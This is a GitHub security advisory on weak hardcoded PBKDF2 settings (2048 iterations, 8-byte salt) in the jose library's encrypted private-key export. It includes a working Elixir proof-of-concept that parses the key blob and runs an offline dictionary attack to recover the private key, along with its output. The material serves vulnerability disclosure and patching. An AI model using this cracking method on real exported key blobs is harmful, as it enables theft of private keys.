Skip to main content
Menu
Advisories

Weak PBKDF2 parameters for encrypted private-key export

GHSA-H4GX-8JQ2-MFHCPublished Updated GitHub

Description

When jose exports a password-encrypted private key, it protects that key with a hardcoded, badly under-strength key-derivation function: PBKDF2-HMAC-SHA256 with only 2048 iterations and an 8-byte (64-bit) salt. Neither value can be changed by the caller. Anyone who obtains one of these encrypted key blobs can mount an offline password-cracking attack roughly 300× cheaper than intended; on success they recover the full private key.

Details

The affected code is jose_jwk_der:to_binary/3 in src/jwk/jose_jwk_der.erl:48-49, reached through the public API JOSE.JWK.to_der(password, jwk). When a password is supplied, the function serializes the key as a PKCS#8 EncryptedPrivateKeyInfo using the PBES2 scheme. The PBES2 key-derivation parameters are fixed in the source:

  • iterationCount = 2048
  • salt = 8 random bytes (64 bits)

Both are far below current guidance. OWASP recommends on the order of 600,000 iterations for PBKDF2-HMAC-SHA256, and NIST recommends salts of at least 128 bits. Because the values are hardcoded and there is no options argument to override them, every EncryptedPrivateKeyInfo this function emits is derived with a work factor about 300× lower than intended. The low iteration count makes each offline password guess cheap, and the short salt reduces the cost of precomputation and cross-key attacks. The symmetric parts of the scheme are fine — AES-256-CBC with a 16-byte random IV — so the weakness is entirely in the derivation strength, not the cipher.

The practical consequence: the confidentiality of an exported private key rests almost entirely on the password being strong, because the KDF adds far less cost-per-guess than a modern configuration would. A weak or moderate password that would survive a 600,000-iteration KDF can fall quickly against a 2048-iteration one.

PoC

The attached script encodes an outside-attacker threat model in which the attacker holds nothing but the exported DER blob.

  1. Threat model. A victim application calls the public entry point JOSE.JWK.to_der(secret_password, jwk) to export a password-encrypted RSA-2048 private key. The resulting EncryptedPrivateKeyInfo DER blob ends up somewhere readable — a backup, a config repository, object storage, or a log. The attacker obtains only that blob; they have no host access and make no internal function calls.
  2. Parameter recovery. The script walks the DER structure by hand (a small tag/length/value parser) to pull the PBES2 → PBKDF2 parameters straight out of the public bytes, extracting the salt length and iteration count. It decodes them and prints, for example, an 8-byte (64-bit) salt and iterationCount = 2048, alongside the OWASP guidance of 600,000 iterations and ≥128-bit salt — demonstrating that the weak work factor is observable to anyone holding the blob.
  3. Offline crack. The script then runs an offline dictionary attack using only the library's public decrypt path. Each candidate password is fed to JOSE.JWK.from_der(candidate, der); a wrong password raises inside the cipher, and the correct one yields the private key. The real password is placed at the end of a 300-entry wordlist so the timing reflects many failed KDF evaluations — i.e. genuine cracking work. The crack is timed with :timer.tc/1, and the script reports elapsed time, cost per candidate, and the weakness factor (600000 / iterations, ≈300×).
  4. What proves the bug. The script asserts iterations < 600_000 and salt_bits < 128 and found == secret_password. When all three hold it prints a VERIFIED: line stating the recovered parameters, the fact that the offline crack recovered the private key, and how far below the OWASP work factor the export sits. The full script is attached below under "Scripts and Logs" so the reader can run it themselves.

Impact

This is a weak-cryptography / insufficient key-stretching issue affecting anyone who uses JOSE.JWK.to_der/2 (or the underlying jose_jwk_der:to_binary/3) to export password-encrypted private keys. Any such exported blob that reaches a location an attacker can read — backups, repositories, object storage, logs — is protected by a KDF roughly 300× weaker than modern guidance and by a salt too short to resist precomputation. The precondition is possession of the encrypted blob; no privileged access to the victim system is required. Successful cracking of the export password yields full compromise of the private key.

Patches

Fixed in 1.11.13. Password-protected PKCS#8 exports (jose_jwk:to_der/2 / JOSE.JWK.to_der/2, the PEM equivalents and their _file variants) now use PBES2 with PBKDF2-HMAC-SHA256 at 600,000 iterations and a 16-byte random salt, using native PBKDF2 when available. Keys exported by earlier versions can still be imported, but those files keep their original weak parameters: re-export them with 1.11.13, and if an old encrypted export may have been exposed, rotate the key.

Workarounds

If you cannot upgrade, do not rely on jose for password-based key export. Export the key unencrypted only into storage you control and encrypt it with a tool whose KDF cost you choose (for example openssl pkcs8 -topk8 -v2 aes-256-cbc -v2prf hmacWithSHA256 -iter 600000), and use a long, randomly generated password.

Scripts and Logs

# Verifies: Weak PBKDF2 parameters for encrypted private-key export
#
# Finding: jose_jwk_der:to_binary/3 encrypts an exported PKCS#8 private key
# (PBES2) with a HARDCODED PBKDF2-HMAC-SHA256 iterationCount = 2048 and an
# 8-byte (64-bit) salt. Both are far below modern guidance (OWASP ~600,000
# iterations, NIST >=128-bit salt) and cannot be overridden by the caller.
#
# Threat model (outside attacker): the victim application exports a
# password-encrypted private key with the library's PUBLIC entry point
# `JOSE.JWK.to_der(password, jwk)` and the resulting EncryptedPrivateKeyInfo
# DER blob ends up somewhere the attacker can read (backup, config repo,
# object storage, log). The attacker holds ONLY that blob -- no host access,
# no internal function calls. From the blob alone the attacker:
#   1. parses the PBES2/PBKDF2 parameters and observes the weak work factor,
#   2. mounts an offline dictionary attack that succeeds cheaply because the
#      KDF is ~300x weaker than intended, recovering the private key.
#
# Measurement: CPU cost of the offline crack (the attack this finding enables)
# is timed with :timer.tc/1 and reported in milliseconds, then extrapolated
# against the OWASP-recommended work factor.

Mix.install([{:jose, "1.11.12"}])

defmodule Poc do
  # OWASP recommendation for PBKDF2-HMAC-SHA256.
  def owasp_iterations, do: 600_000

  # --- attacker-side DER walker: {tag, contents, rest} -------------------
  defp tlv(<<tag, rest::binary>>) do
    {len, body} = der_len(rest)
    <<contents::binary-size(len), tail::binary>> = body
    {tag, contents, tail}
  end

  defp der_len(<<0::1, len::7, rest::binary>>), do: {len, rest}

  defp der_len(<<1::1, n::7, rest::binary>>) do
    <<len_bytes::binary-size(n), rest2::binary>> = rest
    {:binary.decode_unsigned(len_bytes), rest2}
  end

  # Extract {salt_len_bytes, iteration_count} from an EncryptedPrivateKeyInfo
  # DER blob, using nothing but the public bytes the attacker already holds.
  def kdf_params(der) do
    {:EncryptedPrivateKeyInfo, alg, _enc} =
      :public_key.der_decode(:EncryptedPrivateKeyInfo, der)

    {:EncryptedPrivateKeyInfo_encryptionAlgorithm, _pbes2_oid, {:asn1_OPENTYPE, pbes2}} = alg

    {0x30, pbes2_body, _} = tlv(pbes2)          # PBES2-params SEQUENCE
    {0x30, kdf, _} = tlv(pbes2_body)            # keyDerivationFunc SEQUENCE
    {0x06, _pbkdf2_oid, after_oid} = tlv(kdf)   # id-PBKDF2 OID
    {0x30, pbkdf2, _} = tlv(after_oid)          # PBKDF2-params SEQUENCE
    {0x04, salt, after_salt} = tlv(pbkdf2)      # salt OCTET STRING
    {0x02, iter, _} = tlv(after_salt)           # iterationCount INTEGER

    {byte_size(salt), :binary.decode_unsigned(iter)}
  end

  # One offline guess: feed a candidate password through the library's public
  # decrypt path. A wrong password raises inside the cipher; a right one
  # yields the private key.
  defp guess(der, candidate) do
    try do
      JOSE.JWK.from_der(candidate, der)
      true
    rescue
      _ -> false
    catch
      _, _ -> false
    end
  end

  def crack(der, wordlist) do
    Enum.find(wordlist, fn candidate -> guess(der, candidate) end)
  end
end

# --- victim: export a password-encrypted private key (public API) ---------
secret_password = "correct-horse"
jwk = JOSE.JWK.generate_key({:rsa, 2048})
{_modules, encrypted_der} = JOSE.JWK.to_der(secret_password, jwk)

# --- attacker: holds only `encrypted_der` --------------------------------
{salt_bytes, iterations} = Poc.kdf_params(encrypted_der)
salt_bits = salt_bytes * 8

IO.puts("Recovered PBKDF2 parameters from the exported blob:")
IO.puts("  salt           = #{salt_bytes} bytes (#{salt_bits} bits)")
IO.puts("  iterationCount = #{iterations}")
IO.puts("  OWASP guidance = #{Poc.owasp_iterations()} iterations, >=128-bit salt")

# Offline dictionary attack. The real password sits deep in the list so the
# timing reflects many failed KDF evaluations, i.e. real cracking work.
wordlist =
  Enum.map(1..300, fn i -> "guess#{i}" end) ++ [secret_password]

{elapsed_us, found} = :timer.tc(fn -> Poc.crack(encrypted_der, wordlist) end)
elapsed_ms = elapsed_us / 1000
attempts = length(wordlist)
per_attempt_ms = elapsed_ms / attempts

IO.puts("")
IO.puts("Offline dictionary attack:")
IO.puts("  candidates tried   = #{attempts}")
IO.puts("  recovered password = #{inspect(found)}")
IO.puts("  elapsed            = #{Float.round(elapsed_ms, 1)} ms")
IO.puts("  cost / candidate   = #{Float.round(per_attempt_ms, 3)} ms")

# How much cheaper is this than a correctly-parameterised export?
weakness_factor = Poc.owasp_iterations() / iterations
IO.puts("  KDF is ~#{Float.round(weakness_factor, 0) |> trunc()}x cheaper to attack than OWASP guidance")

weak? = iterations < Poc.owasp_iterations() and salt_bits < 128 and found == secret_password

if weak? do
  IO.puts(
    "VERIFIED: exported key uses hardcoded PBKDF2 (#{iterations} iters, " <>
      "#{salt_bits}-bit salt); offline crack recovered the private key in " <>
      "#{Float.round(elapsed_ms, 1)} ms (~#{trunc(weakness_factor)}x below OWASP work factor)."
  )
else
  IO.puts("NOT VERIFIED: KDF parameters met modern guidance or crack failed.")
end

Logs

Recovered PBKDF2 parameters from the exported blob:
  salt           = 8 bytes (64 bits)
  iterationCount = 2048
  OWASP guidance = 600000 iterations, >=128-bit salt

Offline dictionary attack:
  candidates tried   = 301
  recovered password = "correct-horse"
  elapsed            = 1269.6 ms
  cost / candidate   = 4.218 ms
  KDF is ~293x cheaper to attack than OWASP guidance
VERIFIED: exported key uses hardcoded PBKDF2 (2048 iters, 64-bit salt); offline crack recovered the private key in 1269.6 ms (~292x below OWASP work factor).

Affected versions

References

GitHub · potatosalad/erlang-jose